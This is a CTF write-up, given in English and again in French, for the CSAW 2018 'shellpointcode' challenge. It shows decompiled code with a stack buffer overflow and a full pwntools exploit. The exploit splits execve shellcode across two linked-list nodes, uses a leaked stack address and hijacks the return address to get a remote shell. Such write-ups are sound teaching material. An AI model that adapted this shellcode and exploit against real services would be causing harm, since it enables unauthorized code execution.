Sep 16, 2018
4 min read
Translate
Any typos? Any idea to suggest? Feedback appreciated!
Description
Linked lists are great! They let you chain pieces of data together.
nc pwn.chal.csaw.io 9005
You can download the ELF file : here
TL;DR
This challenge uses linked list and leaks an address, the stack is executable, a short shellcode and a relative jump will do the trick !
Methology
Step 1 : Use IDA to decompile the program, find the two useful functions that fills the linked list and expose the buffer overflow.
__int64 nononode()
{
char v1; // [rsp+0h] [rbp-40h]
__int64 v2; // [rsp+8h] [rbp-38h]
char *v3; // [rsp+20h] [rbp-20h]
__int64 v4; // [rsp+28h] [rbp-18h]
v3 = &v1;
puts("(15 bytes) Text for node 1: ");
readline(&v4, 15LL); // <- Shellcode here
puts("(15 bytes) Text for node 2: ");
readline(&v2, 15LL); // <- Shellcode here
puts("node1: ");
printNode(&v3);
return goodbye(); // <- Overflow func here
}
int goodbye()
{
char s; // [rsp+Dh] [rbp-3h]
puts("What are your initials?");
fgets(&s, 32, stdin); // <- Overflow here
return printf("Thanks %s\n", &s);
}
Step 2 : Find a short shellcode, code the exploit, and jump in !
#!/usr/bin/env python2
from pwn import *
shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb"
shellcode += "\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"
# jmp short 0x13 (rip when reaching this instruction - @second)
jmp_rip_p10 = "\xEB\x11"
offset = 11
r = remote("pwn.chal.csaw.io", 9005)
#r = process("./shellpointcode") # local debugging
r.readuntil("node 1: \n")
r.sendline(shellcode[15 - 2:])
r.readuntil("node 2: \n")
r.sendline(shellcode[:15 - 2] + jmp_rip_p10)
r.readline()
adr = r.readline().split(": ")[1].split("\n")[0]
print "adr", adr
adr = int(adr[2:], 16)
second = adr + 0x8 # constant offset in the stack
first = second + 0x20 # reach the 2nd buffer, constant offset in the stack
print "second", hex(second)
print "first", hex(first)
r.readuntil("\n\n")
# pause() # time to attach gdb and continue
r.sendline("A" * offset + p64(second))
r.interactive()
Step 3 : Run the exploit !
Pretty straight forward, I likes this challenge as it requires to find a small shellcode and permute instructions it split it in two small parts without breaking it.
French version
Description
Les listes chainées sont géniales ! Elles vous permettent de chaîner des données ensemble.
nc pwn.chal.csaw.io 9005
Vous pouvez télécharger le fichier ELF : ici
TL;DR
This challenge uses linked list and leaks an address, the stack is executable, a short shellcode and a relative jump will do the trick !
Ce challenge utilise une liste chainée, fait fuiter une adresse, et la pile est exécutable. Un petit shellcode, un saut relatif et le tour est joué !
Methologie
Etape 1 : Utiliser IDA pour décompiler le programme, trouver les deux fonctions utiles qui remplissent la liste chainée et expose le buffer overflow.
__int64 nononode()
{
char v1; // [rsp+0h] [rbp-40h]
__int64 v2; // [rsp+8h] [rbp-38h]
char *v3; // [rsp+20h] [rbp-20h]
__int64 v4; // [rsp+28h] [rbp-18h]
v3 = &v1;
puts("(15 bytes) Text for node 1: ");
readline(&v4, 15LL); // <- Shellcode here
puts("(15 bytes) Text for node 2: ");
readline(&v2, 15LL); // <- Shellcode here
puts("node1: ");
printNode(&v3);
return goodbye(); // <- Overflow func here
}
int goodbye()
{
char s; // [rsp+Dh] [rbp-3h]
puts("What are your initials?");
fgets(&s, 32, stdin); // <- Overflow here
return printf("Thanks %s\n", &s);
}
Etape 2 : Trouver un petit shellcode, coder l’exploit, et jump au bon endroit !
#!/usr/bin/env python2
from pwn import *
shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb"
shellcode += "\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"
# jmp short 0x13 (rip when reaching this instruction - @second)
jmp_rip_p10 = "\xEB\x11"
offset = 11
r = remote("pwn.chal.csaw.io", 9005)
#r = process("./shellpointcode") # local debugging
r.readuntil("node 1: \n")
r.sendline(shellcode[15 - 2:])
r.readuntil("node 2: \n")
r.sendline(shellcode[:15 - 2] + jmp_rip_p10)
r.readline()
adr = r.readline().split(": ")[1].split("\n")[0]
print "adr", adr
adr = int(adr[2:], 16)
second = adr + 0x8 # constant offset in the stack
first = second + 0x20 # reach the 2nd buffer, constant offset in the stack
print "second", hex(second)
print "first", hex(first)
r.readuntil("\n\n")
# pause() # time to attach gdb and continue
r.sendline("A" * offset + p64(second))
r.interactive()
Etape 3 : Lancer l’exploit !
Plutôt simple, j’ai bien aimé ce challenge car il nécessite de trouver un shellcode concis et de permuter les instructions pour le diviser en deux petites parties sans le casser.